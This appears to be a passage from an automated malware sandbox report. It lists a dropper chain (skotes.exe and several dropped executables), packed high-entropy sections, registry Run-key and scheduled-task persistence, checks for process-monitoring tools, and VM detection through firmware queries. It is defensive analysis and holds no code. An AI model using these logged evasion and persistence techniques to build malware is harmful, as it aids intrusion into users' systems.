Source: random[1].exe1.1.dr	Static PE information: real checksum: 0x2dcec6 should be: 0x2d8336
Source: 9c961c26ae.exe.1.dr	Static PE information: real checksum: 0x216f66 should be: 0x20989c
Source: num[1].exe.1.dr	Static PE information: real checksum: 0x0 should be: 0xdb9be
Source: random[1].exe.1.dr	Static PE information: real checksum: 0x216f66 should be: 0x20989c

Source: ykDoK8BtxW.exe	Static PE information: section name:
Source: ykDoK8BtxW.exe	Static PE information: section name:
Source: ykDoK8BtxW.exe	Static PE information: section name:
Source: ykDoK8BtxW.exe	Static PE information: section name:
Source: ykDoK8BtxW.exe	Static PE information: section name: .themida
Source: ykDoK8BtxW.exe	Static PE information: section name: .boot
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: .themida
Source: skotes.exe.0.dr	Static PE information: section name: .boot
Source: random[1].exe.1.dr	Static PE information: section name:
Source: random[1].exe.1.dr	Static PE information: section name: .rsrc
Source: random[1].exe.1.dr	Static PE information: section name: .idata
Source: random[1].exe.1.dr	Static PE information: section name:
Source: random[1].exe.1.dr	Static PE information: section name: fefgvzwf
Source: random[1].exe.1.dr	Static PE information: section name: bzufikti
Source: random[1].exe.1.dr	Static PE information: section name: .taggant
Source: 6e2c49386e.exe.1.dr	Static PE information: section name:
Source: 6e2c49386e.exe.1.dr	Static PE information: section name: .rsrc
Source: 6e2c49386e.exe.1.dr	Static PE information: section name: .idata
Source: 6e2c49386e.exe.1.dr	Static PE information: section name:
Source: 6e2c49386e.exe.1.dr	Static PE information: section name: fefgvzwf
Source: 6e2c49386e.exe.1.dr	Static PE information: section name: bzufikti
Source: 6e2c49386e.exe.1.dr	Static PE information: section name: .taggant
Source: random[1].exe1.1.dr	Static PE information: section name:
Source: random[1].exe1.1.dr	Static PE information: section name: .idata
Source: random[1].exe1.1.dr	Static PE information: section name: hdsdqunw
Source: random[1].exe1.1.dr	Static PE information: section name: hndbucrw
Source: random[1].exe1.1.dr	Static PE information: section name: .taggant
Source: ff3d383111.exe.1.dr	Static PE information: section name:
Source: ff3d383111.exe.1.dr	Static PE information: section name: .idata
Source: ff3d383111.exe.1.dr	Static PE information: section name: hdsdqunw
Source: ff3d383111.exe.1.dr	Static PE information: section name: hndbucrw
Source: ff3d383111.exe.1.dr	Static PE information: section name: .taggant
Source: 9c961c26ae.exe.1.dr	Static PE information: section name:
Source: 9c961c26ae.exe.1.dr	Static PE information: section name: .rsrc
Source: 9c961c26ae.exe.1.dr	Static PE information: section name: .idata
Source: 9c961c26ae.exe.1.dr	Static PE information: section name:
Source: 9c961c26ae.exe.1.dr	Static PE information: section name: fefgvzwf
Source: 9c961c26ae.exe.1.dr	Static PE information: section name: bzufikti
Source: 9c961c26ae.exe.1.dr	Static PE information: section name: .taggant
Source: 51BTKCWY8DV7OGJHONB1TD.exe.4.dr	Static PE information: section name:
Source: 51BTKCWY8DV7OGJHONB1TD.exe.4.dr	Static PE information: section name: .idata
Source: 51BTKCWY8DV7OGJHONB1TD.exe.4.dr	Static PE information: section name: gwksigml
Source: 51BTKCWY8DV7OGJHONB1TD.exe.4.dr	Static PE information: section name: xtwnmccs
Source: 51BTKCWY8DV7OGJHONB1TD.exe.4.dr	Static PE information: section name: .taggant
Source: 7CI9VGFBD8A8ASDDKT72KGPEDXHN.exe.4.dr	Static PE information: section name:
Source: 7CI9VGFBD8A8ASDDKT72KGPEDXHN.exe.4.dr	Static PE information: section name: .idata
Source: 7CI9VGFBD8A8ASDDKT72KGPEDXHN.exe.4.dr	Static PE information: section name:
Source: 7CI9VGFBD8A8ASDDKT72KGPEDXHN.exe.4.dr	Static PE information: section name: whlejstb
Source: 7CI9VGFBD8A8ASDDKT72KGPEDXHN.exe.4.dr	Static PE information: section name: gsptuyyn
Source: 7CI9VGFBD8A8ASDDKT72KGPEDXHN.exe.4.dr	Static PE information: section name: .taggant
Source: 3037R2U7Z5DR93TNCEXVFKDF.exe.9.dr	Static PE information: section name:
Source: 3037R2U7Z5DR93TNCEXVFKDF.exe.9.dr	Static PE information: section name: .idata
Source: 3037R2U7Z5DR93TNCEXVFKDF.exe.9.dr	Static PE information: section name: gwksigml
Source: 3037R2U7Z5DR93TNCEXVFKDF.exe.9.dr	Static PE information: section name: xtwnmccs
Source: 3037R2U7Z5DR93TNCEXVFKDF.exe.9.dr	Static PE information: section name: .taggant
Source: UZBCRYPU48GDO3ZVW9XB351D36.exe.9.dr	Static PE information: section name:
Source: UZBCRYPU48GDO3ZVW9XB351D36.exe.9.dr	Static PE information: section name: .idata
Source: UZBCRYPU48GDO3ZVW9XB351D36.exe.9.dr	Static PE information: section name:
Source: UZBCRYPU48GDO3ZVW9XB351D36.exe.9.dr	Static PE information: section name: whlejstb
Source: UZBCRYPU48GDO3ZVW9XB351D36.exe.9.dr	Static PE information: section name: gsptuyyn
Source: UZBCRYPU48GDO3ZVW9XB351D36.exe.9.dr	Static PE information: section name: .taggant

Source: ykDoK8BtxW.exe	Static PE information: section name: entropy: 7.979814306040247
Source: skotes.exe.0.dr	Static PE information: section name: entropy: 7.979814306040247
Source: random[1].exe.1.dr	Static PE information: section name: fefgvzwf entropy: 7.95427162698335
Source: 6e2c49386e.exe.1.dr	Static PE information: section name: fefgvzwf entropy: 7.95427162698335
Source: random[1].exe1.1.dr	Static PE information: section name: entropy: 7.973473510765359
Source: ff3d383111.exe.1.dr	Static PE information: section name: entropy: 7.973473510765359
Source: 9c961c26ae.exe.1.dr	Static PE information: section name: fefgvzwf entropy: 7.95427162698335
Source: 51BTKCWY8DV7OGJHONB1TD.exe.4.dr	Static PE information: section name: entropy: 7.768952555904265
Source: 7CI9VGFBD8A8ASDDKT72KGPEDXHN.exe.4.dr	Static PE information: section name: entropy: 7.981204341278881
Source: 7CI9VGFBD8A8ASDDKT72KGPEDXHN.exe.4.dr	Static PE information: section name: whlejstb entropy: 7.953827863391256
Source: 3037R2U7Z5DR93TNCEXVFKDF.exe.9.dr	Static PE information: section name: entropy: 7.768952555904265
Source: UZBCRYPU48GDO3ZVW9XB351D36.exe.9.dr	Static PE information: section name: entropy: 7.981204341278881
Source: UZBCRYPU48GDO3ZVW9XB351D36.exe.9.dr	Static PE information: section name: whlejstb entropy: 7.953827863391256

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\num[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1002978001\num.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1002979001\9c961c26ae.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File created: C:\Users\user\AppData\Local\Temp\51BTKCWY8DV7OGJHONB1TD.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File created: C:\Users\user\AppData\Local\Temp\3037R2U7Z5DR93TNCEXVFKDF.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1002977001\67333e07f4.exe	Jump to dropped file
Source: C:\Users\user\Desktop\ykDoK8BtxW.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File created: C:\Users\user\AppData\Local\Temp\UZBCRYPU48GDO3ZVW9XB351D36.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File created: C:\Users\user\AppData\Local\Temp\7CI9VGFBD8A8ASDDKT72KGPEDXHN.exe	Jump to dropped file

Boot Survival

Creates multiple autostart registry keys

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run num.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ff3d383111.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 6e2c49386e.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 67333e07f4.exe	Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\ykDoK8BtxW.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\ykDoK8BtxW.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\ykDoK8BtxW.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1002979001\9c961c26ae.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1002979001\9c961c26ae.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1002979001\9c961c26ae.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1002979001\9c961c26ae.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1002979001\9c961c26ae.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1002979001\9c961c26ae.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1002979001\9c961c26ae.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1002979001\9c961c26ae.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1002979001\9c961c26ae.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\51BTKCWY8DV7OGJHONB1TD.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\51BTKCWY8DV7OGJHONB1TD.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\51BTKCWY8DV7OGJHONB1TD.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\51BTKCWY8DV7OGJHONB1TD.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\51BTKCWY8DV7OGJHONB1TD.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\51BTKCWY8DV7OGJHONB1TD.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\51BTKCWY8DV7OGJHONB1TD.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\51BTKCWY8DV7OGJHONB1TD.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\7CI9VGFBD8A8ASDDKT72KGPEDXHN.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\7CI9VGFBD8A8ASDDKT72KGPEDXHN.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\7CI9VGFBD8A8ASDDKT72KGPEDXHN.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\7CI9VGFBD8A8ASDDKT72KGPEDXHN.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\7CI9VGFBD8A8ASDDKT72KGPEDXHN.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\3037R2U7Z5DR93TNCEXVFKDF.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\3037R2U7Z5DR93TNCEXVFKDF.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\3037R2U7Z5DR93TNCEXVFKDF.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\3037R2U7Z5DR93TNCEXVFKDF.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\3037R2U7Z5DR93TNCEXVFKDF.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\UZBCRYPU48GDO3ZVW9XB351D36.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\UZBCRYPU48GDO3ZVW9XB351D36.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\UZBCRYPU48GDO3ZVW9XB351D36.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\UZBCRYPU48GDO3ZVW9XB351D36.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\UZBCRYPU48GDO3ZVW9XB351D36.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\Desktop\ykDoK8BtxW.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ff3d383111.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ff3d383111.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 6e2c49386e.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 6e2c49386e.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 67333e07f4.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 67333e07f4.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run num.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run num.exe	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Source: C:\Users\user\Desktop\ykDoK8BtxW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1002977001\67333e07f4.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1002977001\67333e07f4.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1002977001\67333e07f4.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1002977001\67333e07f4.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\51BTKCWY8DV7OGJHONB1TD.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\51BTKCWY8DV7OGJHONB1TD.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\51BTKCWY8DV7OGJHONB1TD.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\51BTKCWY8DV7OGJHONB1TD.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\51BTKCWY8DV7OGJHONB1TD.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\51BTKCWY8DV7OGJHONB1TD.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\51BTKCWY8DV7OGJHONB1TD.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\51BTKCWY8DV7OGJHONB1TD.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\51BTKCWY8DV7OGJHONB1TD.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\51BTKCWY8DV7OGJHONB1TD.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\51BTKCWY8DV7OGJHONB1TD.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\51BTKCWY8DV7OGJHONB1TD.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\51BTKCWY8DV7OGJHONB1TD.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\51BTKCWY8DV7OGJHONB1TD.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\51BTKCWY8DV7OGJHONB1TD.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\51BTKCWY8DV7OGJHONB1TD.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\3037R2U7Z5DR93TNCEXVFKDF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\3037R2U7Z5DR93TNCEXVFKDF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\3037R2U7Z5DR93TNCEXVFKDF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\3037R2U7Z5DR93TNCEXVFKDF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\3037R2U7Z5DR93TNCEXVFKDF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\3037R2U7Z5DR93TNCEXVFKDF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\3037R2U7Z5DR93TNCEXVFKDF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\3037R2U7Z5DR93TNCEXVFKDF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\3037R2U7Z5DR93TNCEXVFKDF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\3037R2U7Z5DR93TNCEXVFKDF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\3037R2U7Z5DR93TNCEXVFKDF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\3037R2U7Z5DR93TNCEXVFKDF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\3037R2U7Z5DR93TNCEXVFKDF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\3037R2U7Z5DR93TNCEXVFKDF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\3037R2U7Z5DR93TNCEXVFKDF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\3037R2U7Z5DR93TNCEXVFKDF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\ykDoK8BtxW.exe	System information queried: FirmwareTableInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	System information queried: FirmwareTableInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	System information queried: FirmwareTableInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	System information queried: FirmwareTableInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	System information queried: FirmwareTableInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	System information queried: FirmwareTableInformation
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	System information queried: FirmwareTableInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	System information queried: FirmwareTableInformation

Tries to detect sandboxes / dynamic malware analysis system (registry check)

